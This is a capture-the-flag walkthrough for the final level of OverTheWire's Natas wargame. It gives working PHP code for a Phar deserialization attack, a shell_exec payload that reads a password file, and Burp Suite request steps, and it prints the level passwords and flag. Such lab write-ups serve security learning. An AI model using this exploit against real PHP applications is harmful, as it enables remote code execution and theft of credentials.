OverTheWire Natas Level 33 Walkthrough

With level 33 of Natas, we are randomly back to PHP after a brief journey using Perl. This is the final level of OverTheWire’s Natas series!

This walkthrough covers how Phar deserialization attacks work, and how to use Burp Suite to get the solution for Natas 33.

What is Natas?

Natas is an online hacking game meant to help you learn and practice security concepts.

OverTheWire is a website with a number of “war games”, which are online hacking games that allow you to practice security concepts. If you are looking for a beginner introduction to web security (albeit an older tech stack), then Natas is a great place to start.

Natas is hosted on different subdomains following the pattern of http://natas<level#>.natas.labs.overthewire.org. As you progress through the levels, you’ll need to increment the level number in the URL in order to view the correct level.

Each level requires the levels below it to be solved, so you will need the level 33 flag found in level 32 to begin this walkthrough. As before, make sure you keep notes and write down the passwords as you find them!

Level 33 ➔ 34

As always, head over to the website at http://natas33.natas.labs.overthewire.org/ and login with the username and password from the last level (natas33 and shoogeiGa2yee3de6Aex8uaXeech5eey)

This challenge lets us upload “firmware” (in the form of PHP…) and have it executed, if we have the right file hash:

The source code defines an Executor() class, which is called if a file is uploaded:

The Executor class gets the filename from the POST request, checks if it’s over the filesize limit (4096 bytes, which is not much).

Then it moves the uploaded file to the uploads directory using the file name, which is equivalent to the PHPSESSID:

Then, in the __destruct() function, it checks that the current directory is the uploads directory.

The next section is the main issue we need to address:

If the md5_file() result of the file is equal to the $signature value (which is adeafbadbabec0dedabada55ba55d00d), it will run our file. If not, it’ll say there’s a failure and we’re out of luck. With that, let’s start coming up with ideas for how to solve this challenge.

Hash collisions?

While MD5 does have known hash collision issues, this ultimately won’t work because of the small file size limit in our program.

However, to have as resources for other hash comparisons, there is hashclash (repo link) which allows you to generate files with the same hash. However, these files are going to be over the 4096 byte limit.

There are also a few CTF challenges involving PHP hash comparisons and the == loose comparison operator. These challenges involve a hash that starts with 0e, which is interpreted as scientific notation, allowing for unintended comparisons to pass.

Other functions

The other functions within the program that aren’t user-defined are: move_uploaded_file(), and md5_file()

The first of those, move_uploaded_file(), simply moves a file from one location to another. While there are known vulnerabilities for it, these are focused around using null bytes to bypass file type checks, which doesn’t really apply here.

Phar Deserialization Attacks

These files have metadata that can be any serializable PHP variable, which gets unserialized when a Phar archive is accessed by any file operation.

This includes md5_file(), as it turns out. To quote Thomas:

This opens the door to unserialization attacks whenever a file operation occurs on a path whose beginning is controlled by an attacker.

There are some limitations on the attack, but we have a __destruct() call, so we should be good to go:

Unlike the conventional unserialization vulnerability, where the data is used for some purpose immediately after unserialization with induced unserialization no further operations are performed on the object. This means that the “__wakeup” and “__destruct” magic methods are the only possible starting methods for a POP chain.

How to create a Phar file for unserialization attacks

Similar to level 26 (another PHP unserialization/deserialization attack), we need to create a PHP object that will be used in the attack.

I used Sonarsource’s blog post as a template:

Starting at line 2, we create a Phar() object, startBuffering() (start writing to the file), add a dummy file to the Phar archive using addfromString(), then setStub() with a “halt compiler” command which a commenter says is required by PHP.

With the exception of the file name, I left the first 5 lines unchanged.

Next, rather than anyClass we’ll need to use Executor. In order to do so, we’ll need to define it in our code, and make modifications to our advantage.

These include changing the comparison value (the md5 hash), and also the filename that md5_hash() acts upon.

The comparison value of $signature will be changed to True, since this will evaluate to true when loosely compared with any PHP string:

Secondly, the $filename will be changed to a file that we upload. I tried to have the filename be a direct PHP command line command but I misread the syntax in the Natas code (passthru("php " . $this->filename);). In short, we need a file here, not just valid PHP commands.

Altogether, these changes look like:

<?php

class Executor{
    private $filename = "shell.php";
    private $signature = True;
    private $init = false;
}

$phar = new Phar('natas.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ? >');

$object = new Executor();
$object->data = 'rips';
$phar->setMetadata($object);
$phar->stopBuffering();

?>
natas33.php

This file is called natas33.php.

You’ll need a second file called shell.php (which is what the Executor class has set $filename equal to). The contents of this file are as follows:

<?php echo shell_exec('cat /etc/natas_webpass/natas34'); ?>
shell.php

Next, you need to generate the natas.phar file by executing the natas33.php file. To do so, use the following command:

php -d phar.readonly=false natas33.php

The readonly setting will address the creating archive "natas.phar" disabled by the php.ini setting phar.readonly error that you get when running php natas33.php without the flag.

You should now have three files: natas33.php, natas.phar, and shell.php.

Natas Level 33 Solution

With these three files, open up Burp Suite. If you have not used Burp Suite before, check out this blog post.

Upload the shell

With Burp Suite open and traffic being proxied to Burp Suite, use your browser to upload shell.php. Then find the request in Burp Suite (Proxy > History), right-click and Send to Repeater.

In the Repeater, we need to modify the filename from the random PHPSESSID to a known value of shell.php to match our given filename.

Click “Go” to send the request.

Upload the Phar File

Next, use your browser to upload natas.phar. Then find the request in your Burp Suite history, and send it to the Repeater. It should look something like this:

We will need to change the filename to natas.phar:

Send the request by hitting “Go”.

Execute the Phar unserialization attack

The third and final step will be to trigger the attack. We have the shell.php file uploaded, and we have the natas.phar file uploaded.

We need to trigger md5_file() one more time, this time with phar://natas.phar/test.txt. You might remember test.txt from our source code earlier on… this filename will do two things:

  • phar:// is a stream wrapper specific to Phar files.
  • test.txt is the dummy file we archived in our Phar file.

These two things together will cause the program to try and unserialize the Phar file to get the test.txt dummy file out. Of course, this file doesn’t exist, but processing the natas.phar file will cause our unserialization attack to happen, changing the values of $filename and $signature.

Immediately after md5_file() completes, the result will be compared to True (our new $signature value, thanks to our attack). This will succeed, and then php shell.php will be called, thanks to our new $filename value.

So, let’s do it. Take the request in Burp Suite (from the upload the Phar file step) and modify the filename one more time:

Hit “Go” to send the request, and you should get the flag:

If this didn’t work for you, it might be a timing issue (since presumably there’s cleanup happening on the server). Try all the requests again one right after the other.

The flag is shu5ouSu6eicielahhae0mohd4ui5uig. If we visit the next level, we see that we’ve made it to the end!

Takeaway: the takeaway for this level is to read function docs, and to google for specific function-related vulnerabilities and built from there.

The takeaway for the series is that there’s a lot of different ways for PHP to go wrong, and deep-dives into a given language are not only useful within a singular language, but often carry over to other languages as well.